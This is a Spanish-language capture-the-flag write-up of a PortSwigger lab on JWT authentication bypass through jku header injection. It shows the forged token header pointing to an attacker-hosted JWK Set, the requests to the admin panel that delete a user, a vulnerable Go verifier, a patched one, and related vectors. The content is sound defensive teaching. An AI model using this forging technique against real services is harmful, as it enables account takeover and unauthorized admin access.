← Writeups

JWT Authentication Bypass — JKU Header Injection (Server-Side Key Fetch)

Bypass de autenticación forjando un JWT cuyo header jku (RFC 7515 §4.1.2) apunta a un JWK Set controlado por el atacante. El verificador descarga la clave sin allowlist de origen: el atacante firma como administrator y la firma valida.

JWT Authentication Bypass — JKU Header Injection (Server-Side Key Fetch)

Laboratorio: PortSwigger Web Security Academy — JWT authentication bypass via jku header injection Estado: Resuelto. Pista del lab: the server supports the jku parameter in the JWT header, however it fails to check whether the provided URL belongs to a trusted domain before fetching the key.


1. Target Overview & Vulnerability Summary

Campo Detalle
Clase de vulnerabilidad Authentication Bypass / SSRF en la cadena de verificación de firma
Severidad High — compromiso de identidad privilegiada sin credenciales
Vector JWT header jku (RFC 7515 §4.1.2) → JWK Set fetch (RFC 7517)
Endpoint vulnerable Middleware de verificación de sesión (parseo de Authorization/session)
Root cause El verificador resuelve jku y descarga la clave de verificación sin validar el host contra un allowlist de dominios confiables
Resultado Firma forjada con una clave propia del atacante es aceptada → sub: administrator

El JWT header jku (JWK Set URL) le indica al servidor dónde descargar el conjunto de claves públicas necesarias para verificar la firma. Es un mecanismo legítimo de intercambio de claves: el atacante lo convierte en un canal de control de la clave de verificación. Como el servidor no audita el origen de jku, el atacante publica su propio JWK Set, firma un token como administrator y la firma — verificado contra la clave del atacante — pasa. La verificación no es un oráculo criptográfico roto: es una decisión de confianza delegada a un input del atacante.

La cadena atacante completa:

Flujo de ataque JKU header injection El atacante publica un JWK Set en su exploit server, envía un JWT forjado cuyo header jku apunta a esa URL, el verificador la consulta sin validar el origen, verifica la firma con la clave del atacante y concede acceso de administrador. POST /LOGIN 200 · SESSION JWT PUBLISH JWKS GET /ADMIN · JWT GET JWKS · SSRF 200 · ATTACKER KEY VERIFY RS256 200 · ADMIN PANEL DELETE /CARLOS ATK Attacker Burp · JWT Editor EXT Exploit Server exploit.json · JWK Set APP Lab App JWT verifier · vulnerable INT Admin Backend /admin · delete user LEGEND Actor focal (verificador) Request HTTP Fetch vulnerable Return / async
Fig. 1 — El verificador (focal, azul) consulta el JWK Set del atacante porque el header `jku` no pasa por allowlist.

2. Technical Breakdown & Exploitation Flow

2.1 El primitivo de ataque

Un JWT firmado se estructura en tres segmentos base64url: header.payload.signature. La firma se verifica resolviendo la clave pública a partir de metadatos del propio header (alg, kid, jku). Cuando jku está presente, el verificador:

  1. Extrae jku del header (input del atacante).
  2. Ejecuta un GET a esa URL para obtener un JWK Set (RFC 7517: objeto JSON con un array keys de JWKs).
  3. Selecciona la clave por kid.
  4. Verifica la firma con esa clave.

El fallo de diseño es el paso 2: no existe ninguna comprobación de que el host de jku pertenezca a la organización. El atacante controla tanto la URL como el contenido del JWK Set — por tanto controla la clave contra la que se valida su propia firma. La verificación criptográfica es correcta; la cadena de confianza está rota.

2.2 Steps to reproduce

Paso 0 — Obtener un JWT de sesión legítimo.

curl -si -c jar.txt https://<LAB>.web-security-academy.net/login \
  -d 'username=wiener&password=peter' | grep -i set-cookie

Paso 1 — Generar un par de claves RSA (extensión JWT Editor de Burp Suite). Burp → JWT Editor Keys → New RSA Key → Generate (2048 bits).

Paso 2 — Publicar el JWK Set en el exploit server del lab. La URL jku debe devolver el JWK Set en formato RFC 7517. Con Craft a response en el exploit server:

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "762a529d-54ae-4953-b7b4-ae5cfe6f7759",
      "n": "sX9f67sh53Xowq1WcSKBLiyE0UTrz6pyRL1O61PO7AaFXYew_QKRbhEOZ8D0LjSS5L9ET3axEFe5k1VJZDG3ynVBp4imhEXAUi8KrLI3R2_xzouj4j8_vyUu13Mjz7OV_bvFD79E7zINLB-2iRZIMql18Z5-L01PoVXk-fdYL3GYdWCOROdheZJhVJo8G_m6vL_bfCMtXch1q-COHE0hkeNRveAgQl7gJh9kmiD4bRJrSUpc4hqjFbxmkL3aw0dDCvHSRE38iDmGQO-PZzsSUofPxSLIkORjUbMXPvorFCWQXM94Nl7j_JFz62dV6QKxJMDNlm6jNNDegRRID8oLlw"
    }
  ]
}

El kid debe coincidir con el que usaremos en el header del JWT forjado. Guardado en:

https://exploit-<INSTANCE>.exploit-server.net/exploit.json

Paso 3 — Forjar el token. Decodificar el JWT de sesión y reemplazar header y payload:

// HEADER
{
  "kid": "762a529d-54ae-4953-b7b4-ae5cfe6f7759",
  "alg": "RS256",
  "jku": "https://exploit-<INSTANCE>.exploit-server.net/exploit.json"
}
// PAYLOAD
{
  "iss": "portswigger",
  "exp": 1757258769,
  "sub": "administrator"
}

exp se copia del token legítimo (o se extiende) para no caducar; sub se reemplaza por administrator. No se modifica el algoritmo: RS256 permanece, porque el vector no es algorithm confusion sino key-source confusion.

Paso 4 — Firmar con la clave privada del atacante. En la pestaña JSON Web Token de Burp: Sign → seleccionar la clave RSA generada en el paso 1 → OK.

Paso 5 — Replay con la sesión forjada.

GET /admin HTTP/1.1
Host: <LAB>.web-security-academy.net
Cookie: session=<HEADER>.<PAYLOAD>.<SIGNATURE>

El panel /admin responde 200. El laboratorio se resuelve con la supresión del usuario:

GET /admin/delete?username=carlos HTTP/1.1
Host: <LAB>.web-security-academy.net
Cookie: session=<HEADER>.<PAYLOAD>.<SIGNATURE>

2.3 Decisión clave

jku no es un parámetro de ataque per se: es un mecanismo de distribución de claves de RFC 7515. La vulnerabilidad aparece cuando el servidor delega la selección de la clave de verificación a un input del token. La defensa mínima — validar el host de jku contra un allowlist — rompe la cadena: el atacante ya no puede apuntar el fetch hacia su propio servidor.


3. Root Cause Analysis

El patrón de código defectuoso, en términos de keyfunc (Go, github.com/golang-jwt/jwt):

// VULNERABLE — el origen de jku nunca se valida.
func verifier() jwt.Keyfunc {
	return func(t *jwt.Token) (interface{}, error) {
		jku, _ := t.Header["jku"].(string) // (1) origen del atacante, sin check
		kid, _ := t.Header["kid"].(string) //     el atacante también elige kid

		jwks := fetchJWKS(jku)             // (2) SSRF: GET a URL arbitraria
		return findKey(jwks, kid), nil     // (3) devuelve la clave pública del atacante
	}
}

El fallo es un single point of trust: una sola función determina qué clave valida la firma, y se alimenta exclusivamente de datos que el firmante controla. Tres errores de diseño se combinan:

  1. Ausencia de allowlist de origen en jku → el fetch alcanza cualquier host, incluido el del atacante (y, con un jku hacia http://169.254.169.254/..., un SSRF a metadata cloud).
  2. kid sin correlación con un conjunto de claves conocido → el verificador acepta cualquier clave del set remoto, no solo las que la aplicación emitió.
  3. Falta de whitelist de algoritmos → aunque aquí no se explotó, la misma keyfunc sin control sobre alg permite los vectores hermanos alg: none y confusión RS256 → HS256.

4. Secure Remediation

4.1 Parche mínimo — allowlist de origenes + whitelist de algoritmos

import "slices"

var trustedJWKSOrigins = []string{
	"https://auth.empresa.internal", // único emisor de JWKS
}

func verifier() jwt.Keyfunc {
	return func(t *jwt.Token) (interface{}, error) {
		alg, _ := t.Header["alg"].(string)
		if !slices.Contains([]string{"RS256", "ES256"}, alg) {
			return nil, ErrAlgNotAllowed // 1. prohibir none / HS256 confusion
		}

		u, _ := url.Parse(t.Header["jku"].(string))
		if u == nil || !slices.Contains(trustedJWKSOrigins, u.Scheme+"://"+u.Host) {
			return nil, ErrUntrustedJKU // 2. el origen debe estar en allowlist
		}

		key := fetchKey(trustedJWKS, t.Header["kid"].(string))
		if key == nil {
			return nil, ErrUnknownKid // 3. kid desconocido => rechazar
		}
		return key, nil
	}
}

4.2 Defensa en profundidad

  • Eliminar jku si no se usa. La mayoría de verificadores no necesitan que el cliente indique la URL de claves; deben obtenerla de jwks_uri del OIDC Discovery Document (/.well-known/openid-configuration), que es una fuente fija del servidor, no del token.
  • Pin de kid: validar que el kid del header exista en el set descargado y que ese set sea el emitido por el IdP conocido.
  • Whitelist de alg en el parser (no solo en la keyfunc): rechazar none, HS* cuando el emisor firme asimétrico.
  • Endurecer el fetch del JWKS (tiempo de espera, sin redirecciones, TLS verificado, tamaño máximo de respuesta) para contener el vector SSRF residual.
  • Monitoring: alertar sobre picos de descargas de jku hacia hosts no confiables — señal de escaneo de este vector.

4.3 Vectores hermanos del mismo árbol

Vector Mecanismo Falla de fondo
alg: none Eliminar la firma Verificador no exige algoritmo asimétrico
RS256 → HS256 Firmar con la clave pública como secreto HMAC Confusión de tipo de clave
jwk inline Incrustar la clave del atacante en el header Mismo trust defectuoso que jku
kid path traversal Inyectar ../../../ para leer /dev/null o un archivo de firma HMAC kid usado como path sin sanitizar

El denominador común: la confianza de la verificación no debe depender de metadatos del propio token firmado. La clave de verificación es un parámetro del servidor, no un input del cliente.